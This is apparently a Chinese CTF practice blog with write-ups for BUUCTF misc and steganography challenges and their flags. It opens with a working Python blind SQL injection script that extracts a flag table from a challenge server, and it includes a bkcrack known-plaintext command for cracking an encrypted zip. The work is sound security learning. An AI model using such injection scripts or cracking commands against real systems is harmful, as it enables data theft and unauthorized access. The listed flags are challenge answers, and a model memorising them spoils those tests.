1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 import requestsurl = "http://9144017b-5685-4eeb-b5b2-736111d27ce1.node5.buuoj.cn:81/" injection_param = "stunum" max_len = 100 def send_payload (pos, ch ): print (f"trying {ord (ch)} " ) payload = f"(ASCII(SUBSTR((SELECT/**/GROUP_CONCAT(0x7e,flag,0x7e,value,0x7e)/**/FROM/**/flag),{pos} ,1))>ASCII('{ch} '))" params = {injection_param: payload} try : r = requests.get(url, params=params, timeout=5 ) text = r.text if "admin" in text: return True elif "student number not exists" in text: return False else : print ("[!] Unexpected response content." ) return False except Exception as e: print (f"[!] Request error: {e} " ) return "err" def extract_names (): result = "" last_result = "" for pos in range (1 , max_len + 1 ): res= "" l = 32 r = 126 while l <= r: mid = (l + r) // 2 req_res = send_payload(pos, chr (mid)) if req_res == "err" : continue elif req_res: l = mid + 1 else : r = mid - 1 res = chr (mid) result = result + res if last_result.strip() == result.strip(): print (f"[!] No more characters found at position {pos} . Stopping extraction." ) break last_result = result print (result) return result if __name__ == "__main__" : dbs = extract_names() print (f"\n[+] Extracted names (with '|'): {dbs} " )
MISC 我吃三治 随波逐流分析发现图片中有隐藏图片,提取出来后有两张三明治,尝试了几种方法发现都不行,看wp才知道看图片十六进制数据,在两张图片中有一段base32编码
解码得到flag,flag{6f1797d4080b29b64da5897780463e30}
[MRCTF2020]你能看懂音符吗
随波逐流分析发现文件头别修改了,010修改文件头,附件是一个文档,有隐藏文字,修改文字属性
看了几篇wp都是使用得同一个网站,但是现在不能用了,放一张图
[ACTF新生赛2020]NTFS数据流 ntfs流隐写,什么7Z,WinRAR几个工具都试试就行了,使用工具扫描得到flag
ACTF{AAAds_nntfs_ffunn?} ,根据题目要求
flag{AAAds_nntfs_ffunn?}
[SWPU2019]你有没有好好看网课? 解压附件得到有两个压缩包,提示密码是6位数字,爆破一下
一个文档
这个列文虎克好像是发明显微镜得那个,这两个应该是时间点,直接用电脑播放器是看不出什么的,看wp知道有一个工具kinovea
一个是敲击编码
:敲击码是基于5×5方格波利比奥斯方阵来实现的,不同点是是用K字母被整合到C中,因此密文的特征为1-5的两位一组的数字,编码的范围是A-Z字母字符集,字母不区分大小写。
….. ../… ./… ./… ../
1 2 3 ..... .. / ... . / ... . / ... .. / 5,2 3,1 3,1 3,2 W L L M
另一个是base64解码
和起来就是wllmup_up_up,随波逐流分析在图片尾有数据’
flag{A2e_Y0u_Ok?}
[UTCTF2020]docx 把文档改为zip文件,在meida文件中有flag
flag{unz1p_3v3ryth1ng}
sqltest 盲注流量,netA一把梭
john-in-the-middle 这一题考察的我真是没想到,显示提取出流量包中的文件,最主要得是两个图片
查看lsb
[ACTF新生赛2020]swp 分析看到这句话
然后再流量包中有secret.zip是个加密压缩包,推测是伪加密,随波逐流修复后解压得到flag文件,是个elf文件,随波逐流分析
flag{c5558bcf-26da-4f8b-b181-b61f3850b9e5}
[GXYCTF2019]SXMgdGhpcyBiYXNlPw== 首先题目名就可以base64解码
查看附件是多行base,puzzlesolve神力
间谍启示录 随波逐流分析附件发现有文件,提取出来发现有压缩包。解压得到flag.exe,进行程序即可得到flag
Flag{379:7b758:g7dfe7f19:9464f:4g9231}
小易的U盘 依旧是formost文件提取出一个压缩包,然后发现有一堆程序
在autorun.inf
证明这个程序不一样,直接运行就报错了,不会用IDA直接用随波逐流分析
flag{29a0vkrlek3eu10ue89yug9y4r0wdu10}
[WUSTCTF2020]爬 010分析文件发现附件是一个pdf,改一下后缀
移动一下图片
flag{th1s_1s_@_pdf_and_y0u_can_use_phot0sh0p}
[DesCTF]Real sign in? 这个题目不是来自buuctf,只是正好参加了DesCTF,里面有一道misc题目,比赛时没有写出来,后来比赛结束跟群里的师傅们交流了一下这一题的解题思路。顺手记录一下。题目描述
从附件中获得信息发送到微信公众号中然后获得flag。附件是一个加密的压缩包,里面只有一张图片,还是随波逐流分析
这里可以看到压缩包是真加密,然后还有隐藏文件,这里看到文件末尾的信息,377abcaf这个就是7z文件的文件头,在这里用binwalk还有foremost是提取不出来的,用010
稍微修改一下数据得到一个7z压缩包,解压得到两个矩阵
1 2 3 4 5 6 7 8 ``` R[37 116 72 99] [[37 116 236 107] [236 8 131 218] --> [8 72 99 131] [107 219 75 254] [ 219 128 180 75] [128 180 75 230]] [218 254 75 230]] ```
初步分析数值没有变就是位置换了。具体的还是交给ai分析
具体原理就不说了,就是用的zigzag,跟大家交流才知道这是一个隐写,接下来就是如何解压这压缩包,就是要用明文攻击,这里没有明文,用到的是png文件头
爆破的时间够刷一会抖音了
1 bkcrack -C 1.zip -k 5eb34ede c49019bf 815834b9 -D decrypted_1.zip
解压就是这个图片,这种扭曲图片在金盾杯见过一次,记忆犹新那个抽象企鹅,那个考的是猫脸变换,这个没有改参数考察的是zigzag
然后还原的到二维码
没想到这直接把原图都给我了,gemini牛逼,脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import numpy as npfrom PIL import Imagedef get_zigzag_indices (n ): """生成 n x n 矩阵的 Zig-Zag 扫描索引序列""" indices = [] for k in range (2 * n - 1 ): if k % 2 == 1 : i_start = 0 if k < n else k - n + 1 i_end = k if k < n else n - 1 for i in range (i_start, i_end + 1 ): indices.append((i, k - i)) else : j_start = 0 if k < n else k - n + 1 j_end = k if k < n else n - 1 for j in range (j_start, j_end + 1 ): indices.append((k - j, j)) return indices def recover_image (input_path, output_path ): img = Image.open (input_path).convert('L' ) pixels = np.array(img) n = pixels.shape[0 ] flat_pixels = pixels.flatten() indices = get_zigzag_indices(n) new_pixels = np.zeros((n, n), dtype=np.uint8) for k, (i, j) in enumerate (indices): if k < len (flat_pixels): new_pixels[i, j] = flat_pixels[k] res_img = Image.fromarray(new_pixels) res_img.save(output_path) print (f"还原完成,结果已保存至: {output_path} " ) recover_image('challenge.png' , 'flag_recovered.png' )
I_love_DesCTF,发给那个公众号即可获得flag
喵喵喵 依旧是随波逐流起手,没啥隐写信息,但是提示扫一扫就是二维码,lsb分析一下
这里不是RGB,而是BGR,保存图片,这里可以看到文件头不对,修复一下,
这明显高度不对,随波逐流修复一下
扫描时一个百度网盘的附件,下载文件发现附件flag.txt没有flag,考虑ntfs隐写
有个pyc,反编译为py文件python反编译 - 在线工具
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 \ \ import base64def encode (): flag = '*************' ciphertext = [] for i in range (len (flag)): s = chr (i ^ ord (flag[i])) if i % 2 == 0 : s = ord (s) + 10 else : s = ord (s) - 10 ciphertext.append(str (s)) return ciphertext[::-1 ] ciphertext = [ '96' , '65' , '93' , '123' , '91' , '97' , '22' , '93' , '70' , '102' , '94' , '132' , '46' , '112' , '64' , '97' , '88' , '80' , '82' , '137' , '90' , '109' , '99' , '112' ]
稍微修改一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 def decode (ciphertext ): reversed_cipher = ciphertext[::-1 ] flag = [] for i in range (len (reversed_cipher)): s = int (reversed_cipher[i]) if i % 2 == 0 : original_ord = s - 10 else : original_ord = s + 10 char_ord = i ^ original_ord flag_char = chr (char_ord) flag.append(flag_char) return '' .join(flag) ciphertext = [ '96' , '65' , '93' , '123' , '91' , '97' , '22' , '93' , '70' , '102' , '94' , '132' , '46' , '112' , '64' , '97' , '88' , '80' , '82' , '137' , '90' , '109' , '99' , '112' ] flag = decode(ciphertext) print ("解密得到的flag是:" , flag)
这个跟攻防世界那个桌面题很像啊。
结语 先写这么多把,持续更新ing,👍👍👍